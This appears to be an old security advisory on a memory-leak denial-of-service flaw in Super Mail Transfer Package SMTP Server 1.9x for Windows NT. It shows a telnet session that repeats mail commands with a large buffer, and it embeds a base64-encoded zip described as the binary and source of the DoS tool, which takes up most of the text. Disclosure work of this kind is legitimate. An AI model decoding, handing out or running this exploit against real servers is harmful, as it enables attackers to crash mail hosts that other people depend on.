COMMAND Super Mail Transfer Package (SMTP) Server SYSTEMS AFFECTED Super Mail Transfer Package (SMTP) Server for WinNT Version 1.9x PROBLEM USSR Labs found following. A memory leak exists in the Super Mail Transfer Package that may cause an NT host to stop functioning and/or need to be rebooted. The memory leak may occur when you connect to the SMTP port, all information you send to the system will be stored in memory, and SMTP support multiples HELO/ MAIL FROM/ RCPT TO / DATA in the same connection. If you did multiple HELO/ MAIL FROM/ RCPT TO / DATA in the same connection the memory may not be deallocated. This condition may cause the computer to stop functioning the moment memory runs out. Example: [hellme@die-communitech.net$ telnet example.com 25 Trying example.com... Connected to example.com. Escape character is '^]'. 220 MachineNamet AttackerIp with SMTP for NT BD0198 HELO CHEEF 250 Hello, AtackerHostName AttackerIp mail to:<sssa.com> 250 <sssa.com@localhost> ok rcpt to:<sssc.com> 250 to:<sssc.com> ok Data 354 Send Mail Message Body; End with <CR><LF>.<CR><LF> [buffer] (point) 250 OK If you repeat this commands all information passed to the server will be stored in memory thus the memory leak problem. [buffer] is aprox. 10000 characters. Binary or source for this D.o.s: http://www.ussrback.com/ Mimed version of it follows: --- Content-Type: application/octet-stream; name="diesmtp.zip" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="diesmtp.zip" Content-MD5: cPSwnGaEYeZLHg6PW2bi8Q== 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 ----- SOLUTION The related problems are fixed in the next generation of SMTP call MsgCore/NT.